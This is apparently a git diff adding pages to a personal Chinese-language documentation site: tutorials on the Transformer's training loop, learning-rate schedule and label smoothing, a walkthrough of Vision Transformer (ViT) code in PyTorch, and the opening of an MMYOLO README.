n_accum = 0
for i, batch in enumerate(data_iter):
out = model.forward(
batch.src, batch.tgt, batch.src_mask, batch.tgt_mask
)# 模型的前向计算
loss, loss_node = loss_compute(out, batch.tgt_y, batch.ntokens)
# 计算当下的模型损失
# loss_node = loss_node / accum_iter
if mode == "train" or mode == "train+log":
loss_node.backward()
# 返乡传播
train_state.step += 1
train_state.samples += batch.src.shape[0]
train_state.tokens += batch.ntokens
if i % accum_iter == 0:
# 每隔 accum_iter 轮优化一次
optimizer.step()
optimizer.zero_grad(set_to_none=True)
n_accum += 1
train_state.accum_step += 1
scheduler.step()

total_loss += loss
total_tokens += batch.ntokens
tokens += batch.ntokens
if i % 40 == 1 and (mode == "train" or mode == "train+log"):
lr = optimizer.param_groups[0]["lr"]
elapsed = time.time() - start
print(
(
"Epoch Step: %6d | Accumulation Step: %3d | Loss: %6.2f "
+ "| Tokens / Sec: %7.1f | Learning Rate: %6.1e"
)
% (i, n_accum, loss / batch.ntokens, tokens / elapsed, lr)
)
start = time.time()
tokens = 0
del loss
del loss_node
return total_loss / total_tokens, train_state
+

优化器​

+

​在 Transformer 中,使用了 Adam 优化器,该优化器学习率的计算基于下式: +$$ +\rm learning rate=d^{-0.5}_{model} * min(step_num^{-0.5}, step_num * warmup_steps^{-1.5}) +$$ +​为何选择该优化器,以及该优化器有什么优势,感兴趣的读者可以查阅相关资料如:【Adam】优化算法浅析来深入探究其内部数学原理,此处不再赘述。基于上式,其优化器实现如下:

+
def rate(step, model_size, factor, warmup):
"""
we have to default the step to 1 for LambdaLR function
to avoid zero raising to negative power.
"""
if step == 0:
step = 1
return factor * (
model_size ** (-0.5) * min(step ** (-0.5), step * warmup ** (-1.5))
)
+

​Pytorch 也提供了各种优化器的调用 API,也包括 Adam,在实际使用中可以直接调用。

+

正则化​

+

​在训练过程中,作者使用了标签平滑来实现正则化,从而提高模型预测的准确率。具体的,使用了 KL 散度来计算标签平滑,此处同样不再赘述标签平滑、KL 散度的原理,感兴趣的读者可以参阅下列博客:【正则化】Label Smoothing详解、Kullback-Leibler(KL)散度介绍。标签平滑的代码实现如下:

+
class LabelSmoothing(nn.Module):
"Implement label smoothing."

def __init__(self, size, padding_idx, smoothing=0.0):
super(LabelSmoothing, self).__init__()
self.criterion = nn.KLDivLoss(reduction="sum")# 使用 KL 散度计算
self.padding_idx = padding_idx # 遮掩部分index
self.confidence = 1.0 - smoothing
self.smoothing = smoothing
self.size = size
self.true_dist = None

def forward(self, x, target):
assert x.size(1) == self.size
true_dist = x.data.clone()
true_dist.fill_(self.smoothing / (self.size - 2))
true_dist.scatter_(1, target.data.unsqueeze(1), self.confidence)
true_dist[:, self.padding_idx] = 0
mask = torch.nonzero(target.data == self.padding_idx)
if mask.dim() > 0:
true_dist.index_fill_(0, mask.squeeze(), 0.0)
self.true_dist = true_dist
return self.criterion(x, true_dist.clone().detach())
+

总结​

+

优点​

+

​Transformer 作为 NLP 发展史上里程碑的模型,是具有较大创新性和指导性的。其创造性地抛弃了沿用了几十年的 CNN、RNN 架构,完全使用 Attention 机制来搭建网络并取得了良好的效果,帮助 Attention 机制站上了时代的舞台。而论及模型本身,Attention 机制的使用使其能够有效捕捉长距离相关性,解决了 NLP 领域棘手的长距依赖问题,同时,抛弃了 RNN 架构使其能够充分实现并行化,提升了模型计算能力。

+

缺点​

+

​不可否认,Transformer 也存在诸多缺陷。最明显的一点是,提出该模型的论文名为《Attention Is All You Need》,但事实上我们真的仅仅只需要 Attention 吗?粗暴的抛弃 CNN 与 RNN 虽然非常炫技,但也使模型丧失了捕捉局部特征的能力,RNN + CNN + Attention 也许能够带来更好的效果。其次,Attention 机制失去了位置信息,虽然 Transformer 使用了 Positional Encoding 来补充位置信息,但只是权宜之计,没有改变其结构上的固有缺陷。最后,Attention 机制的参数量庞大,训练的门槛与成本也有了一定提高。因此,正是在 Transformer 提出之后,如 BERT、XLNet 等基于 Transformer 结构的强大、昂贵的预训练模型也逐步登上时代的舞台。

+

参考材料:​

+
    +
  1. Attention Is All You Need
  2. +
  3. https://lilianweng.github.io/posts/2018-06-24-attention/
  4. +
  5. https://zhuanlan.zhihu.com/p/48508221
  6. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第十章/ViT解读/index.html b/docs/个人知识库/AI/PyTorch/第十章/ViT解读/index.html new file mode 100644 index 0000000..0311ff2 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第十章/ViT解读/index.html @@ -0,0 +1,184 @@ + + + + + +ViT解读.md | wjlin0 + + + + + + + +

ViT解读.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:39
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

ViT解读

+

+[ViT] An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale. +
+Alexey Dosovitskiy, Lucas Beyer, Alexander Kolesnikov, Dirk Weissenborn, Xiaohua Zhai, Thomas Unterthiner, Mostafa Dehghani, Matthias Minderer, Georg Heigold, Sylvain Gelly, Jakob Uszkoreit, Neil Houlsby. +
+ICLR 2021. +[paper] [code] +
+解读者:牛志康,西安电子科技大学本科生,Datawhale成员;小饭同学,香港城市大学研究生 + +
+

+

前言​

+

Transformer 已经成为自然语言处理任务的一种基础网络,但它在计算机视觉中的应用仍然有限。因为 Transformer 对序列进行建模,如果我们将图像种的每一个像素都作为序列中的元素,因为序列的大小与图片的大小呈平方关系,将导致计算量大大增加。现有的工作要么是将注意力与卷积网络结合使用,要么用注意力机制替换 CNN 的某些组件或者降低图片的序列长度。这些改进都是基于 convolutional neural network (CNN) 卷积神经网络构建的,于是人们就在希望有一种完全基于 Transformer 的骨干网络,可以拥有 Transformer 全局建模的特性也可以不过多修改原始 Transformer 的结构。基于这种 motivation,才出现了 Vision Transformer (ViT) 这篇优秀的工作。

+

本文将从原理和代码实现上进行讲解,结合本课程需求,我们将着重讲解代码的实现,论文中更多的细节还请各位同学详细阅读原论文或关注 Whalepaper 后续的论文精读。

+

ViT 的整体流程​

+

如下图所示,ViT 的主要思想是将图片分成一个一个的小 patch,将每一个 patch 作为序列的元素输入 Transformer 中进行计算。 +

+

其具体流程如下:

+
    +
  1. 切分和映射:对一张标准图像,我们首先将图片切分成一个一个小的 patch,然后将它们的维度拉平 Flatten 为一维的向量,最后我们将这些向量通过线性映射 Linear Project $\mathbf{E}$ 到维度为 $D$ 的空间。
  2. +
  3. 分类表征和位置信息:分类表征:为了实现图像分类,我们在得到的向量中需要加入一个 classs token $\mathbf{x}\text{class}$ 作为分类表征(如上图中标注 $*$的粉色向量所示)。位置信息:图像和文本一样也需要注意顺序问题,因此作者通过 Position Embedding $\mathbf{E}{pos}$ 加入位置编码信息(如上图中标注 $0-9$ 的紫色向量所示)。
  4. +
  5. Transformer Encoder:然后我们将经过上面操作的 token 送入 Transformer Encoder。这里的 Transformer Encoder 和 Transformer (Attention is All You Need) 文章中实现基本一致,主要是通过多头注意力机制,对 patch 之间进行全局的信息提取。
  6. +
  7. 输出与分类:对于分类任务,我们只需要获得 class token 经过 Transformer Encoder 得到的输出,加一个 MLP Head 进行分类学习。
  8. +
+

我们论文代码的讲解也将按照上面的流程,对重要模块进行讲解,我们所展示的ViT代码示例来源于rwightman/timm并进行了部分简化,在此感谢每一位开源贡献者所作出的贡献。

+

切分和映射 Patch Embedding + Linear Projection​

+

对一张标准图像 $\mathbf{x}$,其分辨率为 $H \times W \times C$。为了方便讨论,我们取 ViT 的标准输入 $H \times W \times C = 224 \times 224 \times 3$ 进行一些具体维度的讲解。通过切分操作,我们将整个图片分成多个 patch $\mathbf{x}_p$,其大小为 $$P \times P \times C = 16 \times 16 \times 3 = 768。$$ 这样,一共可以得到 Patch 的数量为 $$N={(H \times W)}/{(P \times P)} = {(224 \times 224)}/{(16 \times 16)} = {(224 / 16)}\times {(224 / 16)} = 14 \times 14 = 196。$$ 所以,我们将一张 $224 \times 224 \times 3$ 的标准图片, 通过转换得到了 $196$ 个 patch,每个 patch 的维度是 $768$。

+

对得到的 patch 通过 $\mathbf{E} \in {\mathbb{R}^{768 \times D}}$ 进行线性映射到维度 $D$,我们将映射后的 patch 叫做 token,以便于和原本 Transformer 的术语进行统一(代码中默认的 $D$ 仍然为 $768$。我们认为,为了不损失信息,这里 $D$ 满足大于等于 $768$ 即可)。对应文中公式,上述操作可以表示为: +$$ +\begin{align} +[\mathbf{x}_p^1\mathbf{E}; \mathbf{x}_p^2\mathbf{E}; \cdots; \mathbf{x}_p^N\mathbf{E}], \quad \mathbf{E}\in\mathbb{R}^{(P^2\cdot C)\times D}。 +\end{align} +$$

+

以上是按照原论文对切分和映射的讲解,在实际的代码实现过程中,切分和映射实际上是通过一个二维卷积 nn.Conv2d() 一步完成的。为了实现一步操作,作者将卷积核的大小 kernal_size 直接设置为了 patch_size,即 $P=16$。然后,将卷积核的步长 stride 也设置为了同样的 patch_size,这样就实现了不重复的切割图片。而卷积的特征输入和输出维度,分别设为了 $C=3$ 和 $D=768$,对应下方代码的 in_c 和 embed_dim。

+
self.proj = nn.Conv2d(in_c, embed_dim, kernel_size=patch_size, stride=patch_size)
+

一张 $1 \times 3 \times 224 \times 224$ 的图像(其中 $1$ 是 batch_size 的维度),经过上述卷积操作得到 $1 \times 768 \times 14 \times 14$ 的张量。(代码中将 $14 \times 14 = 196$ 当作 grid 的个数,即 grid_size=(14, 14))然后,对其进行拉平 flatten(2) 得到 $1 \times 768 \times 196$ 的张量。因为 Transformer 需要将序列维度调整到前面,我们再通过 transpose(1, 2) 调整特征和序列维度,最终得到的张量大小为 $1 \times 196 \times 768$。切分、映射、拉平和维度调整统统经过下面一步操作得到:

+
x = self.proj(x).flatten(2).transpose(1, 2)
+

在代码中,这些操作全部被写在名为 PatchEmbed 的模块中,其具体的实现如下所示:

+
class PatchEmbed(nn.Module):
"""
Image --> Patch Embedding --> Linear Proj --> Pos Embedding
Image size -> [224,224,3]
Patch size -> 16*16
Patch num -> (224^2)/(16^2)=196
Patch dim -> 16*16*3 =768
Patch Embedding: [224,224,3] -> [196,768]
Linear Proj: [196,768] -> [196,768]
Positional Embedding: [197,768] -> [196,768]
"""
def __init__(self, img_size=224, patch_size=16, in_c=3, embed_dim=768, norm_layer=None):
"""
Args:
img_size: 默认参数224
patch_size: 默认参数是16
in_c: 输入的通道数
embed_dim: 16*16*3 = 768
norm_layer: 是否使用norm层,默认为否
"""
super().__init__()
img_size = (img_size, img_size) # -> img_size = (224,224)
patch_size = (patch_size, patch_size) # -> patch_size = (16,16)
self.img_size = img_size # -> (224,224)
self.patch_size = patch_size # -> (16,16)
self.grid_size = (img_size[0] // patch_size[0], img_size[1] // patch_size[1]) # -> grid_size = (14,14)
self.num_patches = self.grid_size[0] * self.grid_size[1] # -> num_patches = 196
# Patch+linear proj的这个操作 [224,224,3] --> [14,14,768]
self.proj = nn.Conv2d(in_c, embed_dim, kernel_size=patch_size, stride=patch_size)
# 判断是否有norm_layer层,要是没有不改变输入
self.norm = norm_layer(embed_dim) if norm_layer else nn.Identity()

def forward(self, x):
# 计算各个维度的大小
B, C, H, W = x.shape
assert H == self.img_size[0] and W == self.img_size[1], \
f"Input image size ({H}*{W}) doesn't match model ({self.img_size[0]}*{self.img_size[1]})."

# flatten: [B, C, H, W] -> [B, C, HW], flatten(2)代表的是从2位置开始展开
# eg: [1,3,224,224] --> [1,768,14,14] -flatten->[1,768,196]
# transpose: [B, C, HW] -> [B, HW, C]
# eg: [1,768,196] -transpose-> [1,196,768]
x = self.proj(x).flatten(2).transpose(1, 2)
x = self.norm(x)
return x
+

**在默认情况下,这一步是不进行 layer_norm 操作的,即它被设置为 nn.Identity()。对于 layer_norm,我们会在下面进行详细的讲解。

+

分类表征和位置信息 Class Token + Postional Embedding​

+

如下图所示,左侧灰色部分为加入分类表征,中间紫色部分为加入位置信息。 +图源amaarora

+

分类表征:Class Token +为了实现图像分类,我们在切分和映射后的向量 $[\mathbf{x}_p^1\mathbf{E}; \mathbf{x}p^2\mathbf{E}; \cdots; \mathbf{x}p^N\mathbf{E}]$ 中加入一个 class token $\mathbf{x}\text{class} \in \mathbb{R}^{D}$ 作为分类表征(如上图中最左侧深灰色框所示)。将这个表征放置在序列的第一个位置上,我们就得到一个维度为 $(196+1) \times 768$ 的新张量: +$$ +\begin{align} +[\mathbf{x}{\text{class}}; \mathbf{x}_p^1\mathbf{E}; \mathbf{x}_p^2\mathbf{E}; \cdots; \mathbf{x}_p^N\mathbf{E}] +\end{align} +$$ +对于具体的代码实现,我们通过 nn.Parameter(torch.zeros(1, 1, 768)) 实例化一个可学习的 cls_token,然后将这个 cls_token 按照 batch_size = x.shape[0] 进行复制,最后将其和之前经过切分和映射的 x 并在一起 torch.cat((cls_token, x), dim=1)。其完整代码,如下所示:

+
cls_token = nn.Parameter(torch.zeros(1, 1, 768)) # -> cls token
nn.init.trunc_normal_(self.cls_token, std=0.02) # 初始化
cls_token = cls_token.expand(x.shape[0], -1, -1) # (1,1,768) -> (128,1,768)
x = torch.cat((cls_token, x), dim=1) # [128, 197, 768]
+

**其实也可以不加入这个 cls token,我们可以对输出 token 做 GAP(Global Average Pooling),然后对 GAP 的结果进行分类。

+

位置信息:Postional Embedding +图像和文本一样也需要注意顺序问题,因此作者通过 Position Embedding $\mathbf{E}_{\text{pos}}\in\mathbb{R}^{(N + 1)\times D}$ 加入位置编码信息。这个 Position Embedding 和上面得到的分类表征张量,直接相加: +$$ +\begin{align} +\mathbf{z}0 &= [\mathbf{x}{\text{class}}; \mathbf{x}_p^1\mathbf{E}; \mathbf{x}p^2\mathbf{E}; \cdots; \mathbf{x}p^N\mathbf{E};] + \mathbf{E}{\text{pos}}, & \mathbf{E}&\in\mathbb{R}^{(P^2\cdot C)\times D}, \mathbf{E}{\text{pos}}\in\mathbb{R}^{(N + 1)\times D} +\end{align} +$$

+

与 Transformer 使用余弦位置编码不同的是,ViT 通过nn.Parameter()实现了一个可以学习的位置编码。

+
num_patches = 196
pos_embed = nn.Parameter(torch.zeros(1, num_patches + 1, 768))
x = x + pos_embed
+

**这里 pos_embed 在 batch_size 的维度进行了 boardcast,所以所有的样本都是同样的 pos_embed。

+

Transformer Encoder​

+

下一步,我们只需要将序列 $\mathbf{z}0$ 输入 Transformer Encoder 即可。如下图所示,每个 Transformer Encoder 由 Multi-head Attention、MLP、Norm (Layer Norm,LN) 并外加 shortcut 连接实现。 +$$ +\begin{align} +\mathbf{z}'l &= \text{MSA}(\text{LN}(\mathbf{z}{l-1})) + \mathbf{z}{l-1}, & l &=1\dots L, \ +\mathbf{z}_l &= \text{MLP}(\text{LN}(\mathbf{z}'_l)) + \mathbf{z}'_l, & l &=1\dots L, \ +\mathbf{y} &= \text{LN}(\mathbf{z}_L^0) +\end{align} +$$

+
+
+ +
+
+下面我们将对这些模块逐一进行讲解。 +

Multi-head Attention​

+

Multi-head Attention 或者叫做 Multi-head Self-Attention (MSA) 是由多个 Self-attention (SA) 模块组成,它们的框图可由下面所示,其中左侧为 SA,右侧为 MSA。

+
+
+ +· +· +· +· +· +· + +
+
+

对于一个标准的 SA 模块,我们通过对输入张量 $\mathbf{z}$ 进行一个映射 $\mathbf{W_{SA}}$ 得到 $Q, K, V$ +$$ +[Q, K, V] = \mathbf{z} \mathbf{W}_{\text{SA}}. +$$ +对于 MSA,我们需要对其输入再次进行切分为 $k$ 个部分 ($k=$self.num_heads),而每个部分的维度为原本维度的 $k$ 分之一,即 C // self.num_heads。然后,将维度进行调整,即 q, k, v 到第 1 个维度, 批大小 batch_size 为第 2 个维度,头的数量数量 num_heads 为第 3 个维度,切分块的数量 num_patches 和每个头的特征维度 embed_dim_per_head 为最后两个维度。这种维度调整,将方便提取 q, k, v,以及后面的注意力计算。上述步骤在代码中对应:

+
self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)
qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)
q, k, v = qkv[0], qkv[1], qkv[2] # seperate q, k, v
+

现在,如果我们将每一个 head,看作一个独立的计算单元。我们可以对每一个head 进行标准的 SA 计算 +$$ +Attention(Q, K, V) = softmax(\frac{Q K^T}{\sqrt {D_k}}) \cdot V +$$ +然后,这些 head 会被拼接在一起,计算最终的输出: +$$ +\mathrm{MultiHead}(Q, K, V) = \mathrm{Concat}(\mathrm{head_1}, ..., +\mathrm{head_h})W^O \ +\text{where}~\mathrm{head_i} = \mathrm{Attention}(QW^Q_i, KW^K_i, VW^V_i) +$$

+

其中 $W^O$ 代表的是线性变换层,$head_i$ 代表的是每个 head 的输出,其中 $W^Q_i$,$W^K_i$, $W^V_i$,等价于每个 head 的线性映射权重(如上面计算 qkv所讲,实际代码实现中,我们会先一起计算 qkv,再进行 head 的切分)。如果按照默认实现,一般切分为 $k=8$ 个头,其中 $D_k=D/k = 768/8=96$,是为了归一化点乘的结果。

+

在代码实现的时候,作者充分考虑了多头的并行计算。通过点乘的形式对所有的 head 一起计算相关性 (q @ k.transpose(-2, -1)),然后经过 softmax 得到权重 attn (这些权重的维度为 [batch_size, num_heads, num_patches + 1, num_patches + 1])。 +之后将这些权重 attn 和 v (其维度为 [batch_size, num_heads, num_patches+1, embed_dim_per_head]) 进行点乘,得到注意力的输出结果。这里在点乘的时候,我们只需要看 attn 和 v的最后两个维度,分别为[num_patches + 1, num_patches + 1] 和 [num_patches+1, embed_dim_per_head],维持其他维度不变,我们可以得到输出的结果维度为 [batch_size, num_heads, num_patches + 1, embed_dim_per_head]。 +最后,我们通过将特征维度和多头维度交换 transpose(1, 2) 和 重组第2个及后面所有的维度 reshape(B, N, C),就可以得到维度为 [batch_size, num_patches + 1, total_embed_dim] 和上面公式相同的并行多头计算结果。其完整实现如下所示

+
class Attention(nn.Module):
def __init__(self,
dim, # 输入token的dim
num_heads=8, # attention head的个数
qkv_bias=False, # 是否使用qkv bias
qk_scale=None,
attn_drop_ratio=0.,
proj_drop_ratio=0.):
super(Attention, self).__init__()
self.num_heads = num_heads
# 计算每一个head处理的维度head_dim = dim // num_heads --> 768/8 = 96
head_dim = dim // num_heads
self.scale = qk_scale or head_dim ** -0.5 # 根下dk操作
# 使用nn.Linear生成w_q,w_k,w_v,因为本质上每一个变换矩阵都是线性变换,
self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)
self.attn_drop = nn.Dropout(attn_drop_ratio)
self.proj = nn.Linear(dim, dim)
self.proj_drop = nn.Dropout(proj_drop_ratio)

def forward(self, x):
# [batch_size, num_patches + 1, total_embed_dim]
# total_embed_dim不是一开始展开的那个维度,是经过了一个线性变换层得到的
B, N, C = x.shape

# [batch_size, num_patches+1, total_embed_dim] -qkv()-> [batch_size, num_patches + 1, 3 * total_embed_dim]
# reshape: -> [batch_size, num_patches + 1, 3, num_heads, embed_dim_per_head]
# permute: -> [3, batch_size, num_heads, num_patches + 1, embed_dim_per_head]
qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)
# q,k,v = [batch_size, num_heads, num_patches + 1, embed_dim_per_head]
q, k, v = qkv[0], qkv[1], qkv[2] # make torchscript happy (cannot use tensor as tuple)

# transpose(-2,-1)在最后两个维度进行操作,输入的形状[batch_size,num_heads,num_patches+1,embed_dim_per_head]
# transpose: -> [batch_size, num_heads, embed_dim_per_head, num_patches + 1]
# @: multiply -> [batch_size, num_heads, num_patches + 1, num_patches + 1]
attn = (q @ k.transpose(-2, -1)) * self.scale
attn = attn.softmax(dim=-1)
attn = self.attn_drop(attn)

# @: multiply -> [batch_size, num_heads, num_patches + 1, embed_dim_per_head]
# transpose: -> [batch_size, num_patches + 1, num_heads, embed_dim_per_head]
# reshape: -> [batch_size, num_patches + 1, total_embed_dim]
x = (attn @ v).transpose(1, 2).reshape(B, N, C)
x = self.proj(x)
x = self.proj_drop(x)
return x
+

MLP​

+

MLP层类似于原始Transformer中的Feed Forward Network。

+
+

In ViT, only MLP layers are local and translationally equivariant, while the self-attention layers are global.

+
+

为了理解这句话,即 MLP 只对局部信息进行操作,我们需要强调 nn.Linear() 操作只对输入张量的最后一个维度进行操作。那么,对于输入维度为 [batch_size, num_patches + 1, total_embed_dim],学习到的线性层对于所有 patch 都是一样的。所以,它是一个局部信息的建模。对于 Attention,因为它是在不同的 patch 层面或者不同的序列层面进行建模,所以是全局信息建模。因此,作者使用了 MLP 和 Attention 一起进行局部和全局信息的提取。

+
class Mlp(nn.Module):
"""
in_features --> hidden_features --> out_features
论文实现时:in_features.shape = out_features.shape
"""
def __init__(self, in_features, hidden_features=None, out_features=None, act_layer=nn.GELU, drop=0.):
super().__init__()
# 用or实现了或操作,当hidden_features/out_features为默认值None时
# 此时out_features/hidden_features=None or in_features = in_features
# 当对out_features或hidden_features进行输入时,or操作将会默认选择or前面的
# 此时out_features/hidden_features = out_features/hidden_features
out_features = out_features or in_features
hidden_features = hidden_features or in_features
self.fc1 = nn.Linear(in_features, hidden_features)
self.act = act_layer()
self.fc2 = nn.Linear(hidden_features, out_features)
self.drop = nn.Dropout(drop)

def forward(self, x):
# in_features --> hidden_features --> out_features
x = self.fc1(x)
x = self.act(x)
x = self.drop(x)
x = self.fc2(x)
x = self.drop(x)
return x
+

Layer Norm​

+

Normalization 有很多种,但是它们都有一个共同的目的,那就是把输入转化成均值为 0 方差为 1 的数据(或者某个学习到的均值和方差)。我们在把数据送入激活函数之前进行 Normalization(归一化),因为我们不希望输入数据落在激活函数的饱和区。

+

Batch Norm 的作用是在对这批样本的同一维度特征做归一化,而 Layer Norm 的作用是对单个样本的所有维度特征做归一化。举一个简单的例子,对于通过编码的句子“我爱学习”,Batch Norm 是对这四个字进行归一化,而 Layer Norm 是对每个字本身的特征进行归一化。

+

对于 Layer Norm,其公式如下所示 +$$L N\left(x_i\right)=\alpha \times \frac{x_i-u_L}{\sqrt{\sigma_L^2+\epsilon}}+\beta$$ +可以通过 nn.LayerNorm 进行实现。

+

Transformer Encoder 完整代码​

+

整合上面 Multi-head Attention、MLP、Norm (Layer Norm,LN) 并外加 shortcut 连接代码,我们可以得到 Transformer Encoder 的完整代码。

+
class Block(nn.Module):
"""
每一个Encoder Block的构成
每个Encode Block的流程:norm1 --> Multi-Head Attention --> norm2 --> MLP
"""
def __init__(self,
dim, # 输入mlp的维度
num_heads, # Multi-Head-Attention的头个数
mlp_ratio=4., # hidden_features / in_features = mlp_ratio
qkv_bias=False, # q,k,v的生成是否使用bias
qk_scale=None,
drop_ratio=0., # dropout的比例
attn_drop_ratio=0., # 注意力dropout的比例
drop_path_ratio=0.,
act_layer=nn.GELU, # 激活函数默认使用GELU
norm_layer=nn.LayerNorm): # Norm默认使用LayerNorm
super(Block, self).__init__()
# 第一层normalization
self.norm1 = norm_layer(dim)
# self.attention层的实现
self.attn = Attention(dim, num_heads=num_heads, qkv_bias=qkv_bias, qk_scale=qk_scale,attn_drop_ratio=attn_drop_ratio, proj_drop_ratio=drop_ratio)
self.drop_path = DropPath(drop_path_ratio) if drop_path_ratio > 0. else nn.Identity()
# 第二层normalization
self.norm2 = norm_layer(dim)
mlp_hidden_dim = int(dim * mlp_ratio) # hidden_dim = dim * mlp_ratio
# mlp实现
self.mlp = Mlp(in_features=dim, hidden_features=mlp_hidden_dim, act_layer=act_layer, drop=drop_ratio)

def forward(self, x):
# 实现了两个残差连接
x = x + self.drop_path(self.attn(self.norm1(x)))
x = x + self.drop_path(self.mlp(self.norm2(x)))
return x
+

ViT 完整代码​

+

对输入图像,进行切分和影射、加入分类表征和位置信息、经过 Transformer Encoder、然后添加一个分类头进行输出,我们就完成了 ViT 所有的代码。

+

完整的 ViT 主要模块流程,见下方 VisionTransformer。

+
class VisionTransformer(nn.Module):
def __init__(self,
img_size=224,
patch_size=16,
in_c=3,
num_classes=1000,
embed_dim=768,
depth=12,
num_heads=12,
mlp_ratio=4.0,
qkv_bias=True,
qk_scale=None,
representation_size=None,
distilled=False,
drop_ratio=0.,
attn_drop_ratio=0.,
drop_path_ratio=0.,
embed_layer=PatchEmbed,
norm_layer=None,
act_layer=None):
"""
Args:
img_size (int, tuple): input image size
patch_size (int, tuple): patch size
in_c (int): number of input channels
num_classes (int): number of classes for classification head
embed_dim (int): embedding dimension
depth (int): depth of transformer
num_heads (int): number of attention heads
mlp_ratio (int): ratio of mlp hidden dim to embedding dim
qkv_bias (bool): enable bias for qkv if True
qk_scale (float): override default qk scale of head_dim ** -0.5 if set
representation_size (Optional[int]): enable and set representation layer (pre-logits) to this value if set
distilled (bool): model includes a distillation token and head as in DeiT models
drop_ratio (float): dropout rate
attn_drop_ratio (float): attention dropout rate
drop_path_ratio (float): stochastic depth rate
embed_layer (nn.Module): patch embedding layer
norm_layer: (nn.Module): normalization layer
"""
super(VisionTransformer, self).__init__()
self.num_classes = num_classes
# 每个patch的图像维度 = embed_dim
self.num_features = self.embed_dim = embed_dim # num_features for consistency with other models
# token的个数为1
self.num_tokens = 2 if distilled else 1
# 设置激活函数和norm函数
norm_layer = norm_layer or partial(nn.LayerNorm, eps=1e-6)
act_layer = act_layer or nn.GELU
# 对应的将图片打成patch的操作
self.patch_embed = embed_layer(img_size=img_size, patch_size=patch_size, in_c=in_c, embed_dim=embed_dim)
num_patches = self.patch_embed.num_patches
# 设置分类的cls_token
self.cls_token = nn.Parameter(torch.zeros(1, 1, embed_dim))
# distilled 是Deit中的 这里为None
self.dist_token = nn.Parameter(torch.zeros(1, 1, embed_dim)) if distilled else None
# pos_embedding 为一个可以学习的参数
self.pos_embed = nn.Parameter(torch.zeros(1, num_patches + self.num_tokens, embed_dim))
self.pos_drop = nn.Dropout(p=drop_ratio)

dpr = [x.item() for x in torch.linspace(0, drop_path_ratio, depth)] # stochastic depth decay rule
# 使用nn.Sequential进行构建,ViT中深度为12
self.blocks = nn.Sequential(*[
Block(dim=embed_dim, num_heads=num_heads, mlp_ratio=mlp_ratio, qkv_bias=qkv_bias, qk_scale=qk_scale,
drop_ratio=drop_ratio, attn_drop_ratio=attn_drop_ratio, drop_path_ratio=dpr[i],
norm_layer=norm_layer, act_layer=act_layer)
for i in range(depth)
])
self.norm = norm_layer(embed_dim)

# Representation layer
if representation_size and not distilled:
self.has_logits = True
self.num_features = representation_size
self.pre_logits = nn.Sequential(OrderedDict([
("fc", nn.Linear(embed_dim, representation_size)),
("act", nn.Tanh())
]))
else:
self.has_logits = False
self.pre_logits = nn.Identity()

# Classifier head(s)
self.head = nn.Linear(self.num_features, num_classes) if num_classes > 0 else nn.Identity()
self.head_dist = None
if distilled:
self.head_dist = nn.Linear(self.embed_dim, self.num_classes) if num_classes > 0 else nn.Identity()

# Weight init
nn.init.trunc_normal_(self.pos_embed, std=0.02)
if self.dist_token is not None:
nn.init.trunc_normal_(self.dist_token, std=0.02)

nn.init.trunc_normal_(self.cls_token, std=0.02)
self.apply(_init_vit_weights)

def forward_features(self, x):
# [B, C, H, W] -> [B, num_patches, embed_dim]
x = self.patch_embed(x) # [B, 196, 768]
# [1, 1, 768] -> [B, 1, 768]
cls_token = self.cls_token.expand(x.shape[0], -1, -1)
if self.dist_token is None:
x = torch.cat((cls_token, x), dim=1) # [B, 197, 768]
else:
x = torch.cat((cls_token, self.dist_token.expand(x.shape[0], -1, -1), x), dim=1)

x = self.pos_drop(x + self.pos_embed)
x = self.blocks(x)
x = self.norm(x)
if self.dist_token is None:
return self.pre_logits(x[:, 0])
else:
return x[:, 0], x[:, 1]

def forward(self, x):
x = self.forward_features(x)
if self.head_dist is not None:
x, x_dist = self.head(x[0]), self.head_dist(x[1])
if self.training and not torch.jit.is_scripting():
# during inference, return the average of both classifier predictions
return x, x_dist
else:
return (x + x_dist) / 2
else:
x = self.head(x)
return x


def _init_vit_weights(m):
"""
ViT weight initialization
:param m: module
"""
if isinstance(m, nn.Linear):
nn.init.trunc_normal_(m.weight, std=.01)
if m.bias is not None:
nn.init.zeros_(m.bias)
elif isinstance(m, nn.Conv2d):
nn.init.kaiming_normal_(m.weight, mode="fan_out")
if m.bias is not None:
nn.init.zeros_(m.bias)
elif isinstance(m, nn.LayerNorm):
nn.init.zeros_(m.bias)
nn.init.ones_(m.weight)
+
+

参考:

+

An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale https://arxiv.org/pdf/2010.11929.pdf +Attention Is All You Need https://arxiv.org/abs/1706.03762

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/index.html b/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/index.html new file mode 100644 index 0000000..617c58d --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/index.html @@ -0,0 +1,285 @@ + + + + + +MMYOLO实现 | wjlin0 + + + + + + + +

MMYOLO实现

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:39
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+
+ +
 
+
+ OpenMMLab 官网 + + + HOT + + +      + OpenMMLab 开放平台 + + + TRY IT OUT + + +
+
 
+

PyPI +docs +deploy +codecov +license +open issues +issue resolution

+

📘使用文档 | +🛠️安装教程 | +👀模型库 | +🆕更新日志 | +🤔报告问题

+
+
+

English | 简体中文

+
+

简介​

+

MMYOLO 是一个基于 PyTorch 和 MMDetection 的 YOLO 系列算法开源工具箱。它是 OpenMMLab 项目的一部分。

+

主分支代码目前支持 PyTorch 1.6 以上的版本。 +

+
主要特性
+ +
    +
  • +

    统一便捷的算法评测

    +

    MMYOLO 统一了各类 YOLO 算法模块的实现, 并提供了统一的评测流程,用户可以公平便捷地进行对比分析。

    +
  • +
  • +

    丰富的入门和进阶文档

    +

